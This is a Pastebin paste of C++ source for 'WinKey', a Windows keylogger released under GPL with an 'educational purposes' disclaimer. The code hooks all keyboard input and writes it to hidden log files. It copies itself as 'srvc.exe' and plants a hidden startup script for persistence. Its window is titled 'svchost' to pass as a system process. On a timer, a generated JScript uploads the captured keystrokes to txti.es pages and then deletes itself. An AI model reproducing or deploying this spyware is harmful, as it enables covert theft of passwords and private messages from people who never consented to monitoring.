Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- /*
- * WinKey -- A GPL Windows keylogging program. While this program can potentially
- * be used for nefarious purposes, it was written for educational and recreational
- * purposes only and the author does not endorse illegal use.
- *
- * This program is free software: you can redistribute it and/or modify
- * it under the terms of the GNU General Public License as published by
- * the Free Software Foundation, either version 3 of the License, or
- * (at your option) any later version.
- *
- * This program is distributed in the hope that it will be useful,
- * but WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
- * GNU General Public License for more details.
- *
- * You should have received a copy of the GNU General Public License
- * along with this program. If not, see <http://www.gnu.org/licenses/>.
- */
- #include <fstream>
- #include <iostream>
- #include <string>
- #include <sstream>
- #include <algorithm>
- #include <windows.h>
- #include <shlobj.h>
- #include <io.h>
- #include <string.h>
- #include <stdint.h>
- // output file options
- #define OUTPUT_IN_MY_DOCUMENTS true /* If false, paths below should be full pahts ("C:\\Us...") */
- #define OUTFILE_NAME "WinKey.log" /* Output file */
- #define OUTFILE_NAME_TXTI "WinKeySmall.log" /* Output file which stores the keys that will go to txti.es next */
- #define SERVER_UPDATE_FREQUENCY 15 * 60 * 1000 /* how frequently to update the server (in ms) */
- #define FIRST_UPDATE_TIME 30 * 1000 /* how long to wait for first server update from startup (in ms) */
- #define EXE_NAME "srvc.exe"
- #define CLASSNAME "wink"
- #define WINDOWTITLE "svchost"
- #define IDT_TIMER_FIRST 1001 /* id of the first timer (respecting FIRST_UPDATE_TIME) */
- #define IDT_TIMER_PERIODIC 1002 /* id of the timer working all the time (respecting SERVER_UPDATE_FREQUENCY) */
- volatile int _positive_sp_check = 0;
- #define GUARD \
- if(_positive_sp_check != 0) \
- __asm__(".intel_syntax noprefix;\n\t" \
- "add sp, 8\n" \
- ".att_syntax prefix");
- static HHOOK kbdhook; /* Keyboard hook handle */
- static bool running; /* Used in main loop */
- static char outfile_path[2048] = { '\0' };
- static char outfile_path_txti[2048] = { '\0' };
- /* CRC-32C (iSCSI) polynomial in reversed bit order. */
- #define POLY_CRC32C 0x82f63b78
- /* CRC-32 (Ethernet, ZIP, etc.) polynomial in reversed bit order. */
- #define POLY_CRC32 0xedb88320
- template <int Poly>
- static uint32_t crc32c(uint32_t crc, const unsigned char *buf, size_t len) { GUARD
- int k;
- crc = ~crc;
- while (len--) {
- crc ^= *buf++;
- for (k = 0; k < 8; k++)
- crc = crc & 1 ? (crc >> 1) ^ Poly : crc >> 1;
- }
- return ~crc;
- }
- #define TRANSLATION_IDENT __DATE__ "!" __TIME__
- static const uint32_t RAND_TXTI_URL = crc32c<POLY_CRC32C>(0, (const unsigned char *)TRANSLATION_IDENT, strlen(TRANSLATION_IDENT));
- static const uint32_t RAND_TXTI_EDIT_CODE = crc32c<POLY_CRC32>(0, (const unsigned char *)TRANSLATION_IDENT, strlen(TRANSLATION_IDENT));
- static void try_sending(const bool empty);
- static inline bool isCapsLockDown() { GUARD
- return GetKeyState(VK_CAPITAL) & 0x1;
- }
- /**
- * \brief Called by Windows automagically every time a key is pressed (regardless
- * of who has focus)
- */
- __declspec(dllexport) LRESULT CALLBACK handlekeys(int code, WPARAM wp, LPARAM lp) { GUARD
- if (code == HC_ACTION && (wp == WM_SYSKEYDOWN || wp == WM_KEYDOWN)) {
- static bool capslock = isCapsLockDown();
- static bool shift = false;
- char tmp[0xFF] = {0};
- std::string str;
- DWORD msg = 1;
- KBDLLHOOKSTRUCT st_hook = *((KBDLLHOOKSTRUCT*)lp);
- bool printable;
- /*
- * Get key name as string
- */
- msg += (st_hook.scanCode << 16);
- msg += (st_hook.flags << 24);
- GetKeyNameText(msg, tmp, 0xFF);
- str = std::string(tmp);
- printable = (str.length() <= 1) ? true : false;
- /*
- * Non-printable characters only:
- * Some of these (namely; newline, space and tab) will be
- * made into printable characters.
- * Others are encapsulated in brackets ('[' and ']').
- */
- if (!printable) {
- /*
- * Keynames that change state are handled here.
- */
- if (str == "CAPSLOCK")
- capslock = !capslock;
- else if (str == "SHIFT")
- shift = true;
- /*
- * Keynames that may become printable characters are
- * handled here.
- */
- if (str == "ENTER") {
- str = "\n";
- printable = true;
- } else if (str == "SPACE") {
- str = " ";
- printable = true;
- } else if (str == "TAB") {
- str = "\t";
- printable = true;
- } else {
- str = ("[" + str + "]");
- }
- }
- /*
- * Printable characters only:
- * If shift is on and capslock is off or shift is off and
- * capslock is on, make the character uppercase.
- * If both are off or both are on, the character is lowercase
- */
- if (printable) {
- if (shift == capslock) { /* Lowercase */
- for (size_t i = 0; i < str.length(); ++i)
- str[i] = tolower(str[i]);
- } else { /* Uppercase */
- for (size_t i = 0; i < str.length(); ++i) {
- if (str[i] >= 'A' && str[i] <= 'Z') {
- str[i] = toupper(str[i]);
- }
- }
- }
- shift = false;
- }
- #ifdef DEBUG
- std::cout << str;
- #endif
- std::ofstream outfile(outfile_path, std::ios_base::app);
- outfile << str;
- outfile.close();
- std::ofstream outfile_txti(outfile_path_txti, std::ios_base::app);
- outfile_txti << str;
- outfile_txti.close();
- }
- return CallNextHookEx(kbdhook, code, wp, lp);
- }
- /**
- * \brief Called by DispatchMessage() to handle messages
- * \param hwnd Window handle
- * \param msg Message to handle
- * \param wp
- * \param lp
- * \return 0 on success
- */
- LRESULT CALLBACK windowprocedure(HWND hwnd, UINT msg, WPARAM wp, LPARAM lp) { GUARD
- switch (msg) {
- case WM_CLOSE:
- case WM_DESTROY:
- running = false;
- break;
- case WM_TIMER:
- if(wp == IDT_TIMER_FIRST) {
- static bool already_fired = false;
- if(already_fired)
- break;
- already_fired = true;
- try_sending(false);
- SetTimer(hwnd, IDT_TIMER_PERIODIC, SERVER_UPDATE_FREQUENCY, (TIMERPROC) NULL);
- KillTimer(hwnd, IDT_TIMER_FIRST);
- break;
- } else if(wp == IDT_TIMER_PERIODIC) {
- try_sending(false);
- break;
- }
- /* [[fallthrough]] */
- default:
- /* Call default message handler */
- return DefWindowProc(hwnd, msg, wp, lp);
- }
- return 0;
- }
- static bool paths_equal(const char *path1, const char *path2) { GUARD
- TCHAR path1short[MAX_PATH] = { '\0' };
- TCHAR path2short[MAX_PATH] = { '\0' };
- GetShortPathName(path1, path1short, MAX_PATH);
- GetShortPathName(path2, path2short, MAX_PATH);
- return strcmp(path1short, path2short) == 0;
- }
- static std::string get_path_to_myself() { GUARD
- TCHAR fileName[2048] = { '\0' };
- DWORD length = GetModuleFileName(NULL, fileName, 2047);
- if(length <= 0) // can't get the path
- return "";
- return std::string(fileName, length);
- }
- static std::string get_path_to_special_folder(int special_folder_csidl) { GUARD
- TCHAR path[MAX_PATH] = { '\0' };
- SHGetFolderPath(NULL, special_folder_csidl, NULL, 0, path);
- return std::string(path);
- }
- static void hide_file(LPCTSTR filename) { GUARD
- DWORD dwAttrs = GetFileAttributes(filename);
- if (dwAttrs == INVALID_FILE_ATTRIBUTES)
- return;
- SetFileAttributes(filename, dwAttrs | FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM);
- }
- static void try_sending(const bool empty) { GUARD
- std::string outf = outfile_path;
- outf += ".js";
- DeleteFile(outf.c_str());
- std::string logfile(outfile_path_txti);
- std::replace(logfile.begin(), logfile.end(), '\\', '/');
- std::ofstream(outf.c_str())
- << '\0' << ";" << // why
- "var name = '" << RAND_TXTI_URL << "';"
- "var pass = '" << RAND_TXTI_EDIT_CODE << "';"
- "var content_file = \"" << logfile << "\";"
- ""
- "var fs = WScript.CreateObject('Scripting.FileSystemObject');"
- "var get = WScript.CreateObject('msxml2.xmlhttp.6.0');"
- "var post = WScript.CreateObject('msxml2.xmlhttp.6.0');"
- ""
- "function end(c) {"
- "fs.GetFile(WScript.ScriptFullName).Delete(true);"
- "WScript.Quit(c);"
- "}"
- ""
- << (empty
- ?
- "var content = '[log start]';"
- :
- "try {"
- "var file = fs.OpenTextFile(content_file, 1);"
- "var content = '\\n\\n##' + new Date() + '\\n\\n' + file.ReadAll();"
- "file.Close();"
- "} catch (e) {"
- "end(1);"
- "}") <<
- "get.open('GET', 'http://txti.es/' + name + '/edit', false);"
- "get.send();"
- "if(get.status >= 200 && get.status < 300) {"
- "var page = get.responseText;"
- "var page_id = page.split('name=\"page_id\" value=\"')[1].split('\"')[0];"
- "var old_content = page.split('<textarea class=\"text-input\" id=\"content-input\" name=\"content\">')[1].split('</textarea>')[0];"
- ""
- "post.open('POST', 'http://txti.es/' + name + '/edit', false);"
- "post.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');"
- "post.send('content=' + escape(old_content) + escape(content) +"
- "'&custom_url=' + escape(name) +"
- "'&edit_code=' + escape(pass) +"
- "'&page_id=' + escape(page_id) +"
- "'&form_level=3&update=1');"
- "} else if(get.status == 404) {"
- "post.open('POST', 'http://txti.es', false);"
- "post.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');"
- "post.send('content=' + escape(content) +"
- "'&custom_url=' + escape(name) +"
- "'&custom_edit_code=' + escape(pass) +"
- "'&form_level=2&submit=1&username=');"
- "} else {"
- "end(2);"
- "}"
- ""
- "if(post.status >= 200 && post.status < 300) {"
- "try {"
- << (empty ? "" : "fs.GetFile(content_file).Delete(true);") <<
- "} catch(e) {}"
- "}"
- ""
- "end(0);";
- hide_file(outf.c_str());
- ShellExecute(NULL, "open", outf.c_str(), NULL, NULL, SW_SHOW);
- }
- /**
- * \return true if the program should end
- */
- static bool setup_autostart(LPSTR cmdline) { GUARD
- std::string startup_js = get_path_to_special_folder(CSIDL_STARTUP) + "\\.js";
- std::string my_documents = get_path_to_special_folder(CSIDL_PERSONAL);
- std::string exe = my_documents + "\\" EXE_NAME;
- std::string myself = get_path_to_myself();
- #if OUTPUT_IN_MY_DOCUMENTS == true
- strcat(outfile_path, my_documents.c_str());
- strcat(outfile_path, "\\");
- strcat(outfile_path_txti, my_documents.c_str());
- strcat(outfile_path_txti, "\\");
- #endif
- strcat(outfile_path, OUTFILE_NAME);
- strcat(outfile_path_txti, OUTFILE_NAME_TXTI);
- std::cout << "Setting up " << startup_js << '\n';
- {
- DeleteFile(startup_js.c_str());
- Sleep(200);
- std::ofstream f(startup_js.c_str());
- if(f << "var sh = WScript.createOBJect('Wscript.sHELL');\r\n"
- "sh.Run('\"' + sh.SpecialFolders('MyDocuments') + '\\\\" EXE_NAME "\" --a', +(!1));\r\n") {
- std::cout << "ok\n";
- } else {
- std::cout << "error " << GetLastError() << '\n';
- }
- }
- std::cout << "\nCopying myself to " << exe << '\n';
- if(!paths_equal(myself.c_str(), exe.c_str())) {
- DeleteFile(exe.c_str());
- Sleep(200);
- if(CopyFile(myself.c_str(), exe.c_str(), FALSE) != 0) {
- std::cout << "ok\n";
- } else {
- std::cout << "error " << GetLastError() << '\n';
- }
- }
- std::ofstream(outfile_path).close();
- hide_file(outfile_path);
- hide_file(startup_js.c_str());
- hide_file(exe.c_str());
- if(_access(startup_js.c_str(), 0) == 0
- && _access(exe.c_str(), 0) == 0
- && strstr(cmdline, "--a") != NULL) {
- return false;
- }
- ShellExecute(NULL, "open", startup_js.c_str(), NULL, NULL, SW_SHOW);
- std::cout << "\n\ndone\n";
- std::cout << "Output will be written to " << outfile_path << "\n\n";
- std::cout << "Setting up online output..\n";
- try_sending(true);
- std::cout << "\n\nOnline output URL:\n";
- std::cout << "http://txti.es/" << RAND_TXTI_URL << '\n';
- std::cout << "\nOpening in browser..";
- /* Wait a moment so that the webpage is actually created */
- Sleep(2500);
- std::stringstream url;
- url << "http://txti.es/" << RAND_TXTI_URL;
- std::string urlstr = url.str();
- ShellExecute(NULL, "open", urlstr.c_str(), NULL, NULL, SW_SHOW);
- return true;
- }
- int WINAPI WinMain(HINSTANCE thisinstance, HINSTANCE previnstance,
- LPSTR cmdline, int ncmdshow)
- { GUARD
- if(strstr(cmdline, "--secret") != NULL) {
- std::string in_my_documents = (OUTPUT_IN_MY_DOCUMENTS ? " located in My Documents" : "");
- std::cout << "Full output is in " OUTFILE_NAME << in_my_documents << "\n";
- std::cout << "Output until next online update is in " OUTFILE_NAME_TXTI << in_my_documents << "\n\n";
- std::cout << "Online page with output is http://txti.es/" << RAND_TXTI_URL << "\n";
- std::cout << "Edit code is " << RAND_TXTI_EDIT_CODE << "\n";
- return 0;
- }
- if(setup_autostart(cmdline))
- return 0;
- /*
- * Set up window
- */
- HWND hwnd;
- HWND fgwindow = GetForegroundWindow(); /* Current foreground window */
- MSG msg;
- WNDCLASSEX windowclass;
- HINSTANCE modulehandle;
- windowclass.hInstance = thisinstance;
- windowclass.lpszClassName = CLASSNAME;
- windowclass.lpfnWndProc = windowprocedure;
- windowclass.style = CS_DBLCLKS;
- windowclass.cbSize = sizeof(WNDCLASSEX);
- windowclass.hIcon = LoadIcon(NULL, IDI_APPLICATION);
- windowclass.hIconSm = LoadIcon(NULL, IDI_APPLICATION);
- windowclass.hCursor = LoadCursor(NULL, IDC_ARROW);
- windowclass.lpszMenuName = NULL;
- windowclass.cbClsExtra = 0;
- windowclass.cbWndExtra = 0;
- windowclass.hbrBackground = (HBRUSH)COLOR_BACKGROUND;
- if (!(RegisterClassEx(&windowclass)))
- return 1;
- hwnd = CreateWindowEx(NULL, CLASSNAME, WINDOWTITLE, WS_OVERLAPPEDWINDOW,
- CW_USEDEFAULT, CW_USEDEFAULT, 640, 480, HWND_DESKTOP, NULL,
- thisinstance, NULL);
- if (!(hwnd))
- return 1;
- /*
- * Make the window visible
- */
- ShowWindow(hwnd, SW_SHOW);
- UpdateWindow(hwnd);
- SetForegroundWindow(fgwindow); /* Give focus to the previous fg window */
- /*
- * Hook keyboard input so we get it too
- */
- modulehandle = GetModuleHandle(NULL);
- kbdhook = SetWindowsHookEx(WH_KEYBOARD_LL, (HOOKPROC)handlekeys, modulehandle, NULL);
- running = true;
- SetTimer(hwnd, IDT_TIMER_FIRST, FIRST_UPDATE_TIME, (TIMERPROC) NULL);
- //try_sending(false);
- //GetWindowsDirectory((LPSTR)windir, MAX_PATH);
- /*
- * Main loop
- */
- while (running) {
- /*
- * Get messages, dispatch to window procedure
- */
- if (!GetMessage(&msg, NULL, 0, 0))
- running = false; /*
- * This is not a "return" or
- * "break" so the rest of the loop is
- * done. This way, we never miss keys
- * when destroyed but we still exit.
- */
- TranslateMessage(&msg);
- DispatchMessage(&msg);
- }
- return 0;
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement